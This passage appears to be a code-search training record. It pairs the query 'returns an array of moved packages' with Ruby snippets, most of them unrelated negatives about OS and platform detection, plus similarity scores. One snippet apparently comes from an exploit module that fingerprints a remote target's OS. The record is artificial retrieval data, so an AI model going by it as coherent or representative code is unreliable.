/linux/\n # Works on Debian Sarge, Lenny & Wheezy and Ubuntu 9.10 running REE 1.8.7 & MRI 2.0.0 32-bit & 64-bit, don't have anything else to test on.\n 'linux'\n when /darwin/\n # Works on my MacBook Pro OS 10.6 running Ruby 1.8.7 and .rbenv version of 1.9.3 & 2.0.0 , don't have anything else to test on,\n 'mac'\n else\n nil\n end\nend", "def client_os? system\n detect_os == system.to_sym\n end", "def detect_os\n os = RUBY_PLATFORM.split('-')\n @class_name = if os.size == 2\n if os[1] == 'mingw32'\n 1\n else\n 0\n end\n else\n 0\n end\n end", "def windows?\n # Is this a Windows based system\n @win ||= RbConfig::CONFIG['host_os'] =~ /mswin|msys|mingw|bccwin|wince|emc/\n end", "def exclude_test_os\n if ENV.key?('EXCLUDE_OS')\n ENV['EXCLUDE_OS'].split(',')\n end\nend", "def linux?\n !darwin?\n end", "def windows?\n ruby_platform?(:windows)\nend", "def platform\n (RUBY_PLATFORM == \"java\") ? 'java' : Gem::Platform::RUBY\n end", "def os\n return @os if @os\n raw_os = RbConfig::CONFIG['target_os']\n match = raw_os.match(/([a-z]+)/)\n if match\n @os = match[1]\n else\n @os = raw_os\n end\n end", "def platform\n System::get_property('platform')\n end", "def unix?\n !windows?\n end", "def platform\n @_platform ||= begin\n os = []\n os << :windows if OS.windows?\n os << :linux if OS.linux?\n os << :osx if OS.osx?\n os << :posix if OS.posix?\n unless OS.windows? || OS.osx?\n os << :ubuntu if command_exists?(\"apt-get\")\n os << :arch if command_exists?(\"pacman\")\n os << :red_hat if command_exists?(\"yum\")\n end\n\n [\n *os,\n *os.map { |x| (x.to_s + OS.bits.to_s).to_sym }\n ]\n end\n end", "def isWindows()\r\n # See: http://stackoverflow.com/questions/4871309\r\n require 'rbconfig'\r\n return (RbConfig::CONFIG['host_os'] =~ /mswin|mingw|cygwin/)\r\nend", "def platform; end", "def platform; end", "def platform; end", "def win_or_mac\r\n os = RUBY_PLATFORM\r\n if os.include? 'darwin'\r\n puts \"+ <lib><webdriver_helper> OS: Mac OSX\"\r\n return 'mac'\r\n elsif os.include? 'mingw32'\r\n puts \"+ <lib><webdriver_helper> OS: Windows\"\r\n return 'win'\r\n else\r\n puts \"+ <lib><webdriver_helper> Sorry, we do not support your Operating-System right now\"\r\n end\r\n end", "def host_os_family; end", "def linux?\n has_os? && !!os_image_type.match(/suse|redhat|ubuntu|debian|centos|fedora/i)\n end", "def browser_os\n if ENV['BROWSER_OS']\n raise \"You must also specify the variable GRID_HUB on the command line to use this option.\" if selenium_grid_hub.nil?\n raise \"Unrecognized BROWSER_OS value: #{ENV['BROWSER_OS']}.\" unless ENV['BROWSER_OS'] =~ /^windows|mac|linux$/i\n ENV['BROWSER_OS'].downcase.to_sym\n else\n nil\n end\n end", "def set_browser_os()\r\n browsers = Array['chrome']\r\n $os = 'Mac'\r\n if (RUBY_PLATFORM =~ /w32/) # windows\r\n $os = 'Windows'\r\n browsers = Array['chrome']\r\n elsif (RUBY_PLATFORM =~ /darwin/) # mac\r\n $os = 'Mac'\r\n browsers = Array['chrome','safari']\r\n end\r\nend", "def detect_os\r\n user_agent = request.env['HTTP_USER_AGENT']\r\n if user_agent =~ /(Windows|Mac)/\r\n return $1\r\n end\r\n return 'Unknow OS'\r\n end", "def host_os\n name = `uname`.split(' ').first.downcase.to_sym\n case name\n when :linux\n :linux\n when :darwin\n :macosx\n else\n :unknown\n end\n end", "def platform\n type = os_type(:nice)\n type = case type\n when /Linux/i then linux_type\n else type\n end\n \n # Grab the Solaris version; turns '5.9' into '9', for example. (Solaris has a really\n # bizarre numbering scheme.)\n #\n # FIXME: This should include patchlevel.\n if type =~ /Solaris/i\n if @solaris_version.nil?\n @solaris_version = @platform.exec(\"uname\", \"-r\").strip\n @solaris_version = $2 if @solaris_version =~ /^\\s*(\\d+)\\s*\\.\\s*(\\d+)\\s*$/i\n end\n \n type += @solaris_version\n end\n \n # Grab the OS X version by looking at the Darwin kernel version.\n #\n # FIXME: This should include minor version, too (e.g., 10.4.7).\n if type =~ /OSX/i\n if @osx_version.nil?\n @osx_version = @platform.exec(\"uname\", \"-r\").strip\n if @osx_version =~ /^\\s*(\\d+)\\s*\\.\\s*(\\d+).*$/i\n minor_version = [ $1.to_i - 4, 0 ].max # i.e., Darwin 8.x => OS X 10.4, 7.x => OS X 10.3, etc.\n @osx_version = \"10.%d\" % minor_version\n else\n @osx_version = '-unknown-%s' % @osx_version\n end\n end\n \n type += @osx_version\n end\n \n # Grab the Windows version by System.getProperty\n if type =~ /Windows/i\n os_name = JavaSystem.getProperty('os.name');\n sun_os_patch_level = JavaSystem.getProperty('sun.os.patch.level');\n if @windows_version.nil?\n @windows_version = case os_name \n when /Windows 2003/i: \"win2k3\"\n when /Windows XP/i: \"winxp\"\n else os_name.gsub(/ /, '_')\n end\n unless sun_os_patch_level == \"unknown\"\n patch = ''\n sun_os_patch_level.split(/ /).each do |t|\n patch = \"#{patch}#{t[0..0]}\"\n end\n @windows_version += '-' + patch\n end \n end\n \n type = @windows_version\n end\n \n \"%s-%s\" % [ type.downcase, processor_type.downcase ]\n end", "def platform?\n system? and (RUBY_PLATFORM =~ @system)\n end", "def linux_type\n redhat_linux_type || suse_linux_type || unknown_linux_type\n end", "def linux?\n !!(ua =~ /Linux/)\n end", "def os_other\n\t\t\t\t\tnot_os_osx.not_os_linux.not_os_netbsd.not_os_freebsd.not_os_cisco.not_os_vxworks.not_os_vmware_esx.not_os_windows.not_os_aix\n\t\t\t\tend", "def platform(name)\n case ENV['PLATFORM']\n when 'windows_10_edge'\n {selenium_version: '3.141.59',\n platform_name: 'Windows 10',\n browser_name: 'edge',\n browser_version: '18.17763'}.merge(sauce_w3c(name))\n when 'windows_8_ie'\n # Note: w3c is not working for Windows 8 & IE 11\n {platform: 'Windows 8.1',\n browser_name: 'ie',\n selenium_version: '3.141.59',\n version: '11.0'}.merge(sauce_oss(name))\n when 'mac_sierra_chrome'\n # This is for running with w3c which is not yet the default\n # {platform_name: 'macOS 10.12',\n # browser_name: 'chrome',\n # \"goog:chromeOptions\": {w3c: true},\n # browser_version: '65.0'}.merge(sauce_w3c name)\n {selenium_version: '3.141.59',\n platform: 'macOS 10.12',\n browser_name: 'chrome',\n version: '65.0'}.merge(sauce_oss(name))\n when 'mac_mojave_safari'\n {platform_name: 'macOS 10.14',\n browser_name: 'safari',\n browser_version: '12.0'}.merge(sauce_w3c(name))\n when 'windows_7_ff'\n {platform_name: 'Windows 7',\n browser_name: 'firefox',\n browser_version: '60.0'}.merge(sauce_w3c(name))\n else\n # Always specify a default\n {selenium_version: '3.141.59',\n platform: 'macOS 10.12',\n browser_name: 'chrome',\n version: '65.0'}.merge(sauce_oss(name))\n end\n end", "def linux?\n linux_internal?\n end", "def my_os_family(test_os = my_os)\n case test_os\n when /mingw/i\n family = :windows\n when /mswin/i\n family = :windows\n when /windows/i\n family = :windows\n when /darwin/i\n family = :darwin\n when /mac os/i\n family = :darwin\n when /solaris/i\n family = :nix\n when /bsd/i\n family = :nix\n when /linux/i\n family = :nix\n when /aix/i\n family = :nix\n when /cygwin/i\n family = :cygwin\n else\n $stderr.puts \"Unknown OS familiy for '#{test_os}'. Please report this bug to <jeremy at hinegardner dot org>\"\n family = :unknown\n end\n end", "def windows?\n return @windows if defined?(@windows)\n @windows = (RbConfig::CONFIG['host_os'] =~ /mswin|windows|mingw/i)\n end", "def target_os\n @@forced ? @@forced.target : RbConfig::CONFIG['target_os']\n end", "def define_platforms\n [define_centos_5, define_centos_6, define_run_list]\n end", "def ruby_platform\n RUBY_PLATFORM\n end", "def load_platform_specific\n if linux?\n require_linux\n elsif mac?\n require_mac\n elsif windows?\n require_windows\n else\n raise PlatformError.new('Unknown platform')\n end\n end", "def windows_nix?\n (/cygwin|mingw|bccwin/ =~ ruby_platform) != nil\n end", "def platform\n RUBY_PLATFORM\n end", "def centos?\n @flavor =~ /centos/\n end", "def os_family\n case os_type(:nice)\n when /Linux|Solaris|OSX/i then 'Generic'\n when /Windows/i then 'Windows'\n else 'Unknown'\n end\n end", "def is_os_x?\n RbConfig::CONFIG[\"host_os\"] =~ /darwin/\n end", "def detect_platform\r\n\t\tprint_status(\"Attempting to automatically detect the platform\")\r\n\t\tres = send_serialized_request(\"osname.bin\")\r\n\r\n\t\tif (res.body =~ /(Linux|FreeBSD|Windows)/i)\r\n\t\t\tos = $1\r\n\t\t\tif (os =~ /Linux/i)\r\n\t\t\t\treturn 'linux'\r\n\t\t\telsif (os =~ /FreeBSD/i)\r\n\t\t\t\treturn 'linux'\r\n\t\t\telsif (os =~ /Windows/i)\r\n\t\t\t\treturn 'win'\r\n\t\t\tend\r\n\t\tend\r\n\t\tnil\r\n\tend", "def os(osName) \n opSys = @conf.getOs(osName)\n \n # check if os is valid\n if opSys == nil\n raise \"operating system '#{osName}' for machine '#{@name}' is not supported\"\n end\n \n # configure vagrant for this vm\n Vagrant.configure(2) do |config|\n config.vm.define @name do |vm|\n vm.vm.box = opSys.name\n vm.vm.box_url = opSys.box\n vm.vm.box_check_update = true\n end\n end\n \n # configure general stuff for os\n if opSys.hook('configuration') != nil\n opSys.hook('configuration').each do |h|\n send(h, @name)\n end\n end\n \n @opSys = opSys\n end", "def unknown_linux_type\n if @unknown_linux_type.nil?\n version = @platform.exec(\"uname\", \"-r\").chomp\n version = \"unknown\" if version.blank?\n @unknown_linux_type = \"unknown-linux-%s\" % version\n end\n \n @unknown_linux_type\n end", "def valid_for_platform?; true; end", "def what_platform\n if @platform == \"PC\"\n puts \"PC are Awesome!\"\n else\n puts \"This platform is inferior\"\n end\n end", "def minimum_supported_operating_system\n return @minimum_supported_operating_system\n end", "def detect_os\n @@os_features ||= nil\n return @@os_features if @@os_features\n @@os_features ||= {}\n\n # Mac Miner\n mac_miner = lambda do\n version = `sw_vers -productVersion`.match(/\\d+\\.\\d+(?:\\.\\d+)?/)[0]\n @@os_features.merge!({\n :platform => \"darwin\",\n :os_distro => \"Mac OSX\",\n :os_version => version,\n :os_nickname => case version.split(\".\")[0..1].join(\".\")\n when \"10.0\"; \"Cheetah\"\n when \"10.1\"; \"Puma\"\n when \"10.2\"; \"Jaguar\"\n when \"10.3\"; \"Panther\"\n when \"10.4\"; \"Tiger\"\n when \"10.5\"; \"Leopard\"\n when \"10.6\"; \"Snow Leopard\"\n when \"10.7\"; \"Lion\"\n when \"10.8\"; \"Mountain Lion\"\n when \"10.9\"; \"Mavericks\"\n when \"10.10\"; \"Yosemite\"\n else; \"Unknown Version of OSX\"\n end,\n :install_method => \"install\",\n :hostname => `hostname`.chomp,\n })\n if Pathname.which(\"brew\")\n @@os_features[:install_cmd] = \"brew install\"\n elsif Pathname.which(\"port\")\n @@os_features[:install_cmd] = \"port install\"\n else\n @@os_features[:install_method] = \"build\"\n end\n @@os_features\n end\n\n # Linux Miner\n linux_miner = lambda do\n # Ensure LSB is installed\n if not Pathname.which(\"lsb_release\")\n pkg_mgrs = {\n \"apt-get\" => \"install -y lsb\", # Debian/Ubuntu/Linux Mint/PCLinuxOS\n \"up2date\" => \"-i lsb\", # RHEL/Oracle\n \"yum\" => \"install -y lsb\", # CentOS/Fedora/RHEL/Oracle\n \"zypper\" => \"--non-interactive install lsb\", # OpenSUSE/SLES\n \"pacman\" => \"-S --noconfirm lsb-release\", # ArchLinux\n \"urpmi\" => \"--auto lsb-release\", # Mandriva/Mageia\n \"emerge\" => \"lsb_release\", # Gentoo\n \"slackpkg\" => \"\", # Slackware NOTE - doesn't have lsb\n }\n ret = false\n pkg_mgrs.each do |mgr,args|\n if Pathname.which(mgr)\n if mgr == \"slackpkg\" && File.exists?(\"/etc/slackware-version\")\n ret = true\n else\n ret = system(\"sudo #{mgr} #{args}\")\n end\n break if ret\n end\n end\n end\n\n arch_family = `arch 2> /dev/null`.chomp\n pkg_arch = arch_family\n install_method = \"install\"\n if File.exists?(\"/etc/slackware-version\") || Pathname.which(\"slackpkg\")\n # Slackware\n nickname = File.read(\"/etc/slackware-version\").strip\n version = nickname.split[1..-1].join(\" \")\n major_release = version.to_i\n distro = \"Slackware\"\n pkg_fmt = major_release < 13 ? \"tgz\" : \"txz\"\n install = \"slackpkg -batch=on -default_answer=y install\"\n local_install = \"installpkg\"\n elsif File.exists?(\"/etc/oracle-release\") || File.exists?(\"/etc/enterprise-release\")\n if File.exists?(\"/etc/oracle-release\")\n nickname = File.read(\"/etc/oracle-release\").strip\n else\n nickname = File.read(\"/etc/enterprise-release\").strip\n end\n version = nickname.match(/\\d+(\\.\\d+)?/)[0]\n major_release = version.to_i\n distro, pkg_fmt, install, local_install = \"Oracle\", \"rpm\", \"up2date -i\", \"rpm -Uvh\"\n else\n version = `lsb_release -r 2> /dev/null`.strip.split[1..-1].join(\" \")\n major_release = version.to_i\n nickname = `lsb_release -c 2> /dev/null`.strip.split[1..-1].join(\" \")\n lsb_release_output = `lsb_release -a 2> /dev/null`.chomp\n distro, pkg_fmt, install, local_install = case lsb_release_output\n when /(debian|ubuntu|mint)/i\n pkg_arch = \"amd64\" if arch_family == \"x86_64\"\n [$1, \"deb\", \"apt-get install -y\", \"dpkg -i\"]\n when /(centos|fedora)/i\n [$1, \"rpm\", \"yum install -y\", \"yum localinstall -y\"]\n when /oracle/i\n [\"Oracle\", \"rpm\", \"up2date -i\", \"rpm -Uvh\"]\n when /redhat|rhel/i\n [\"RHEL\", \"rpm\", \"up2date -i\", \"rpm -Uvh\"]\n when /open\\s*suse/i\n [\"OpenSUSE\", \"rpm\", \"zypper --non-interactive install\", \"rpm -Uvh\"]\n when /suse.*enterprise/i\n [\"SLES\", \"rpm\", \"zypper --non-interactive install\", \"rpm -Uvh\"]\n when /archlinux/i\n [\"ArchLinux\", \"pkg.tar.xz\", \"pacman -S --noconfirm\", \"pacman -U --noconfirm\"]\n when /(mandriva|mageia)/i\n [$1, \"rpm\", \"urpmi --auto \", \"rpm -Uvh\"]\n when /pc\\s*linux\\s*os/i\n [\"PCLinuxOS\", \"rpm\", \"apt-get install -y\", \"rpm -Uvh\"]\n when /gentoo/i\n [\"Gentoo\", \"tgz\", \"emerge\", \"\"]\n else\n install_method = \"build\"\n [`lsb_release -d 2> /dev/null`.strip.split[1..-1].join(\" \")]\n end\n end\n ret = {\n :platform => \"linux\",\n :os_distro => distro,\n :pkg_format => pkg_fmt,\n :pkg_arch => pkg_arch,\n :os_version => version,\n :install_method => install_method,\n :install_cmd => install,\n :local_install_cmd => local_install,\n :os_nickname => nickname,\n :hostname => `hostname`.chomp,\n }\n ret.reject! { |k,v| v.nil? }\n @@os_features.merge!(ret)\n end\n\n # Solaris Miner\n solaris_miner = lambda do\n distro = `uname -a`.match(/(open\\s*)?(solaris)/i)[1..-1].compact.map { |s| s.capitalize }.join\n version = `uname -r`.strip\n nickname = \"#{distro} #{version.split('.')[-1]}\"\n if distro == \"OpenSolaris\"\n nickname = File.read(\"/etc/release\").match(/OpenSolaris [a-zA-Z0-9.]\\+/i)[0].strip\n end\n @@os_features.merge!({\n :platform => \"solaris\",\n :os_distro => distro,\n :os_version => version,\n :install_method => \"install\",\n :install_cmd => \"pkg install\",\n :os_nickname => nickname,\n :hostname => `hostname`.chomp,\n })\n end\n\n # *BSD Miner\n bsd_miner = lambda do\n distro = `uname -s`.strip\n version = `uname -r`.strip\n @@os_features.merge!({\n :platform => \"bsd\",\n :os_distro => distro,\n :os_version => version,\n :install_method => \"install\",\n :install_cmd => \"pkg_add -r\",\n :os_nickname => \"#{distro} #{version}\",\n :hostname => `hostname`.chomp,\n })\n end\n\n # BeOS Miner\n beos_miner = lambda do\n version = `uname -r`.strip\n distro = `uname -s`.strip\n @@os_features.merge!({\n :platform => \"beos\",\n :os_distro => distro,\n :os_version => version,\n :install_method => \"build\",\n :os_nickname => \"#{distro} #{version}\",\n :hostname => `hostname`.chomp,\n })\n end\n\n # Windows Miner\n windows_miner = lambda do\n sysinfo = `reg query \"HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\"`.chomp\n\n hostname = `reg query \"HKEY_LOCAL_MACHINE\\\\System\\\\CurrentControlSet\\\\Control\\\\ComputerName\\\\ComputerName\"`.chomp\n hostname = hostname.match(/^\\s*ComputerName\\s+\\w+\\s+(.*)/i)[1].strip\n\n version = sysinfo.match(/^\\s*CurrentVersion\\s+\\w+\\s+(.*)/i)[1].strip << \".\"\n version << sysinfo.match(/^\\s*CurrentBuildNumber\\s+\\w+\\s+(.*)/i)[1].strip\n\n nickname = sysinfo.match(/^\\s*ProductName\\s+\\w+\\s+(.*)/i)[1].strip\n nickname = \"Microsoft #{nickname}\" unless nickname =~ /^Microsoft/\n\n try_boot_ini = `type C:\\\\boot.ini 2> nul | findstr /C:\"WINDOWS=\"`.chomp\n unless try_boot_ini.empty?\n nickname = try_boot_ini.match(/WINDOWS=\"([^\"]+)\"/i)[1].strip\n end\n\n install_method, install_cmd = case ::RbConfig::CONFIG['host_os'].downcase\n when /mingw/; [\"build\", nil]\n when /mswin/; [\"install\", \"install\"]\n when /cygwin/; [\"install\", \"setup.exe -q -D -P\"] # TODO - Does this detect cygwin properly?\n end\n ret = {\n :os_distro => nickname.split(/\\s+/).reject { |s| s =~ /microsoft|windows/i }.join(\" \"),\n :hostname => hostname,\n :os_nickname => nickname,\n :os_version => version,\n :platform => \"windows\", # TODO - Cygwin / MinGW\n :install_method => install_method,\n :install_cmd => install_cmd,\n }\n ret.reject! { |k,v| v.nil? }\n @@os_features.merge!(ret)\n end\n\n case ::RbConfig::CONFIG['host_os'].downcase\n when /darwin/; mac_miner[]\n when /mswin|mingw/; windows_miner[]\n when /linux/; linux_miner[]\n when /bsd/; bsd_miner[]\n when /solaris/; solaris_miner[]\n else\n case `uname -s`.chomp.downcase\n when /linux/; linux_miner[]\n when /darwin/; mac_miner[]\n when /solaris/; solaris_miner[]\n when /bsd/; bsd_miner[]\n when /dragonfly/; bsd_miner[]\n when /haiku/; beos_miner[]\n when /beos/; beos_miner[]\n end\n end\n\n @@os_features.freeze\n end", "def platform\n @new_platform ||= Gem::Platform::RUBY\n end", "def platform_merge ln\n flds = ln.split(' ')\n return if flds[0].to_i == 0\n # app-version-arch'\n fname = flds[2]\n #parts = fname.split('-')\n #return if parts[length] < 3\n #puts \"fname = #{fname}\"\n case ln\n when /32\\.exe$/\n @platforms['Win32'] = ln\n when /\\.tbz$/\n return # ignore \n when /\\.run$/\n return # short circuit - ignore .runs in 3.2.15+ \n when /osx\\-.*\\.tgz$/\n @platforms['OSX'] = ln\n when /armhf\\.run$/\n @platforms['Linux_Raspberry'] = ln\n when /i686\\.run$/\n @platforms['Linux_i686'] = ln\n when /x86_64\\.run$/ \n @platforms['Linux_x86_64'] = ln\n when /armhf\\.install$/\n @platforms['Linux_Raspberry'] = ln\n when /i686\\.install$/\n @platforms['Linux_i686'] = ln\n when /x86_64\\.install$/ \n @platforms['Linux_x86_64'] = ln\n when /tar\\.gz$/\n tarball = ln\n else\n #puts \"failed match #{ln}\"\n end\n return\n end", "def my_os\n Application.my_os\n end", "def centos?\n File.exist?('/etc/centos-release')\nend", "def spec(platform = RUBY_PLATFORM[/java/] || 'ruby')\n @specs ||= %w(ruby java x86-mswin32).inject({}) { |hash, spec_platform|\n ENV['BUILDR_PLATFORM'] = spec_platform\n hash.update(spec_platform=> Gem::Specification.load('buildr.gemspec'))\n Gem::Specification._clear_load_cache\n ENV['BUILDR_PLATFORM'] = nil\n hash\n }\n @specs[platform]\nend", "def unix?\n kind_of? Unix::Platform rescue false\n end", "def bash_on_windows?; end", "def centos_platform?(node = __getnode)\n node[\"platform\"] == \"centos\"\n end" ]
[ "0.76287353", "0.7624725", "0.75106484", "0.7510308", "0.7281973", "0.71560764", "0.712657", "0.712161", "0.709931", "0.7088915", "0.70624113", "0.70041203", "0.69971764", "0.69747746", "0.6944253", "0.6944253", "0.6936614", "0.6892279", "0.6872699", "0.6868679", "0.68657625", "0.6836227", "0.68344516", "0.6827414", "0.68227005", "0.6820608", "0.68183714", "0.6816154", "0.679502", "0.6791694", "0.6785386", "0.67547804", "0.6716414", "0.6712653", "0.66984206", "0.66941184", "0.66901535", "0.66887933", "0.6685518", "0.66828597", "0.6675235", "0.66616577", "0.6660006", "0.6653617", "0.6640532", "0.66341686", "0.6628096", "0.66233677", "0.6619409", "0.65888184", "0.658628", "0.65750366", "0.65653205", "0.65650964", "0.65495753", "0.6535788", "0.6524817", "0.6515625", "0.6515625", "0.6515625", "0.65102696", "0.65076274", "0.65049356", "0.6504123", "0.650255", "0.64980817", "0.6494199", "0.6475554", "0.64588815", "0.6453468", "0.6447252", "0.6446137", "0.6445014", "0.6444529", "0.6436633", "0.6424257", "0.6416513", "0.6415646", "0.640698", "0.6405485", "0.6398376", "0.6395687", "0.63703173", "0.63662755", "0.6361546", "0.635764", "0.635372", "0.63496596", "0.634874", "0.6340963", "0.6339338", "0.63325036", "0.632096", "0.63116235", "0.6291346", "0.62864023", "0.6283807", "0.6278587", "0.6273867", "0.62672627" ]
0.6410566
78
returns an array of moved packages
def moved_packages raise RuntimeError, "#{self.class} needs to overwrite moved_packages" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def old_stow_packages(pkg_name, version)\n old_versions = []\n # Iterate over directories that match name & delimiter\n Dir.glob(\"#{stow_path}/#{pkg_name}#{pkg_delim}*\") do |pkg_path|\n old_versions << File.basename(pkg_path)\n end\n unless blank?(old_versions)\n # Remove the up to date package from array if it exists\n configured_version = [\"#{pkg_name}#{pkg_delim}#{version}\"]\n old_versions -= configured_version\n end\n Chef::Log.debug \".old_stow_packages: #{old_versions}\"\n old_versions\n end", "def packages\n Autoproj.warn_deprecated \"use #each_package instead\"\n each_package.to_a\n end", "def packages\n @packages ||= []\n end", "def packages\n @packages ||= []\n end", "def packages\n FileList[package_path('.*')]\n end", "def packages\n packages = []\n @repositories.each do |repo|\n repo_packages = repo.packages\n repo_packages.map { |p| packages.push(p) } unless repo_packages.empty?\n end\n packages\n end", "def move_packages(src, dst, list)\n\tlist.reject!{|f| !File.exist?(src + \"/\" + f)}\n\treturn if list.empty?\n\tlist.each{|b|\n\t\tputs b\n\t}\n\tputs \"The #{list.length} listed packages will be moved from #{src} to #{dst}.\"\n\tline = Readline::readline('Are you sure [Yn]? ')\n\tif (line =~ /^y?$/i)\n\t\tlist.each{|s|\n\t\t\toldfile = src + \"/\" + s\n\t\t\tnewfile = dst + \"/\" + s\n\t\t\tnext unless File.exist?(oldfile)\n\t\t\tif (File.exist?(newfile))\n\t\t\t\tFile.unlink(oldfile)\n\t\t\telse\n\t\t\t\tFileUtils.mv(oldfile, newfile)\n\t\t\tend\n\t\t}\n\tend\nend", "def releases_including_skipped()\n files = []\n\n cmd.ssh(\"ls -m #{releases_dir}\") do |stdout|\n files.concat(stdout.read.split(/[,\\s]+/))\n end\n\n return files\n end", "def packages\n return @packages if @packages\n\n @packages = resolve_packages.map do |pkg|\n next if ignored?(pkg)\n\n package_set = pkg.kind_of? Autoproj::InstallationManifest::PackageSet\n pkg = pkg.to_h\n local_dir = if package_set\n pkg[:raw_local_dir]\n else\n pkg[:importdir] || pkg[:srcdir]\n end\n\n Autoproj::Daemon::PackageRepository.new(\n pkg[:name] || pkg[:package_set],\n pkg[:vcs],\n package_set: package_set,\n local_dir: local_dir,\n ws: ws\n )\n end.compact\n @packages\n end", "def resolve_packages\n installation_manifest =\n Autoproj::InstallationManifest.from_workspace_root(ws.root_dir)\n installation_manifest.each_package.to_a +\n installation_manifest.each_package_set.to_a\n end", "def move_package(name, new_dir)\n Autoproj.workspace.manifest.move_package(name, new_dir)\nend", "def move_package(package_name, new_dir)\n moved_packages[package_name] = File.join(new_dir, File.basename(package_name))\n end", "def go_pkg_deps(pkgs, root_path)\n deps = []\n pkgs.each do |pkg|\n deps << pkg\n `go list -f '{{ join .Deps \"\\\\n\"}}' #{pkg}`.split(\"\\n\").select do |path|\n if path.start_with? root_path\n deps << path\n end\n end\n end\n return deps.sort.uniq\nend", "def go_pkg_deps(pkgs, root_path)\n deps = []\n pkgs.each do |pkg|\n deps << pkg\n `go list -f '{{ join .Deps \"\\\\n\"}}' #{pkg}`.split(\"\\n\").select do |path|\n if path.start_with? root_path\n deps << path\n end\n end\n end\n return deps.sort.uniq\nend", "def fetch_local_packages\n Dir[@local_packages_dir.join(\"*.rpm\").to_s].each do |package|\n # Replace downloaded packages for local ones\n rpm_name = `rpm -qp --qf \\\"%{NAME}\\\" #{package}`\n Dir[cache_dir.join(\"**\", \"*.rpm\").to_s].each do |rpm_to_exchange|\n if `rpm -qp --qf \\\"%{NAME}\\\" #{rpm_to_exchange}` == rpm_name\n log.info \"Removing #{rpm_to_exchange}\"\n FileUtils.remove_file(rpm_to_exchange)\n end\n end\n log.info \"Copying #{package}\"\n FileUtils.cp(package, cache_dir)\n end\n end", "def unused_dependencies_list\n imports = all_unique_imports.map { |import| import.split.last }\n dependency_list - imports\n end", "def find_packages\n declared_packages.collect do |package|\n guess = ::Albacore::PackageRepo.new(%w|./packages ./src/packages|).find_latest package.id\n debug \"#{name}: guess: #{guess} [albacore: project]\"\n guess\n end\n end", "def list_packages\n res = []\n out = Aptly::runcmd \"aptly mirror show -with-packages #{@name.quote}\"\n Aptly::parse_indented_list out.lines\n end", "def extract_upgraded_packages(output)\n new_packages = []\n\n output.each_line do |line|\n next if line.match(/The following packages will be upgraded:/)\n break if line.match(/\\d+ upgraded, \\d+ newly installed/)\n\n line.split.each do |pkg|\n puts \"pkg #{pkg}\"\n new_packages << PackageManager::Package.new(pkg, @host_name)\n end\n end\n\n new_packages\n end", "def packages\n ::Packages::Package.all\n end", "def package_manifest()\n res = []\n @items.each do |item|\n sources = item[:sources]\n sources = [ sources ] unless sources.kind_of?(Array)\n sources.each do |src|\n # TODO - want to split into multiple packages\n #if pkg == :main\n # next unless item[:dest] =~ /(LIB|BIN)DIR/\n #elsif pkg == :devel\n # next unless item[:dest] =~ /(INCLUDE|MAN)DIR/\n #else\n # throw \"bad pkg type\"\n #end\n dst = expand_dir(item[:dest])\n if item[:rename].nil?\n dst += '/' + src\n else\n dst += '/' + item[:rename]\n end\n dst.gsub!(/^\\/usr\\/local\\//, '/usr/') # KLUDGE: only true when making an RPM or DEB\n res.push dst\n end\n end\n res.join \"\\n\"\n end", "def parse_pkg_diff(diffs)\n packages = []\n diffs.each do |diff|\n package = case diff[0]\n when '-' then removed_package(diff)\n when '+' then installed_package(diff)\n when '~' then updated_package(diff)\n end\n packages.push(package)\n end\n\n packages\n end", "def packages\n %w(dtach rtorrent)\nend", "def get_update_pkgs\n get_update_dirs\n delete_contrib\n return @update_pkgs\n end", "def packages_move(owner, repo, identifier, opts = {})\n data, _status_code, _headers = packages_move_with_http_info(owner, repo, identifier, opts)\n return data\n end", "def dependent_modules\n out = [ ]\n @dependencies.each { |dependency| out << @module_set[dependency] }\n out\n end", "def packages; end", "def packages\n Dir[File.join($__HELLO_DIR__, 'packages/*/*.yml')]\n .map do |yml|\n info = YAML.load File.read yml\n info['dir'] = File.dirname yml if info\n info\n end\n .select {|p| p }\n .sort_by {|p| p['priority'] || 10 }\nend", "def rearrange_packages(source_directory, target_directory, target_repo, subdirs)\n targets = get_directories(source_directory)\n unless targets.empty?\n FileUtils.mkdir_p(target_directory)\n targets.each do |target|\n subdirs.each do |subdir|\n target_dir = \"#{target_directory}/#{target}/#{target_repo}/#{subdir}\"\n FileUtils.mkdir_p(target_dir)\n packages = get_files(\"#{source_directory}/#{target}/**/#{subdir}\")\n FileUtils.cp(packages, target_dir)\n end\n end\n end\nend", "def load_packages\n packages = []\n return packages unless File.readable?(PACKAGES)\n File.open(PACKAGES, 'r') do |f|\n f.each_line do |line|\n next unless line =~ /\\S/\n line.chomp!\n packages.push(line)\n end\n end\n\n packages\n end", "def existing_packages\n paths_by_app = Dir[File.join(config[:packages_dir], '*', '*.{tar.gz,json}')].group_by { |path|\n path.split(File::SEPARATOR)[-2]\n }\n\n Hash[\n paths_by_app.map { |app, paths|\n names_by_base = paths.group_by do |path|\n File.basename(path).sub(/\\.(?:tar\\.gz|json)\\z/, '')\n end\n\n packages = names_by_base.flat_map { |base, names|\n names.map do |name|\n (\n name.end_with?(\".tar.gz\") &&\n names.find { |_| _.end_with?(\".json\") } &&\n base\n ) || nil\n end\n }.compact\n\n [app, packages.sort]\n }\n ]\n end", "def move_dirs\n [[0,1], [1,0], [0,-1], [-1,0]]\n end", "def all_package_names\n each_autobuild_package.map(&:name)\n end", "def walk_down_dependencies(pkg_name, known_deps=Array.new)\n\talldeps = Array.new\n\t@total_deps[pkg_name].each { |m|\n\t\tunless alldeps.include?(m) || m.nil? || known_deps.include?(m) \n\t\t\talldeps = alldeps + walk_down_dependencies(m, alldeps)\n\t\tend\n\t\talldeps.push m\n\t}\n\talldeps.uniq!\n\talldeps.push pkg_name\n\t# puts alldeps.join(\", \") \n\treturn alldeps.compact \nend", "def split_dependencies(added, deleted)\n updated = []\n added.dup.each do |ad|\n deleted.dup.each do |dd|\n if ad.name == dd.name\n unless ad.requirements_list == dd.requirements_list\n updated << \"#{ad.name} \" +\n \"from: #{dd.requirements_list} \" +\n \"to: #{ad.requirements_list}\"\n end\n added.delete ad\n deleted.delete dd\n end\n end\n end\n [added, deleted, updated]\n end", "def getdeps(pkg)\n deps = []\n @pkg.each {|k, v| deps << k if v.include?(pkg) }\n\n return deps\n end", "def install_order(arr)\n result = []\n\n hash_pkg = Hash.new {|k,v| v = []}\n\n arr.each do |tup|\n hash_pkg[tup[0]] += [tup[1]]\n end\n\n (1..hash_pkg.keys.max).each do |pkg|\n result << pkg unless hash_pkg.keys.include?(pkg)\n end\n\n\n until 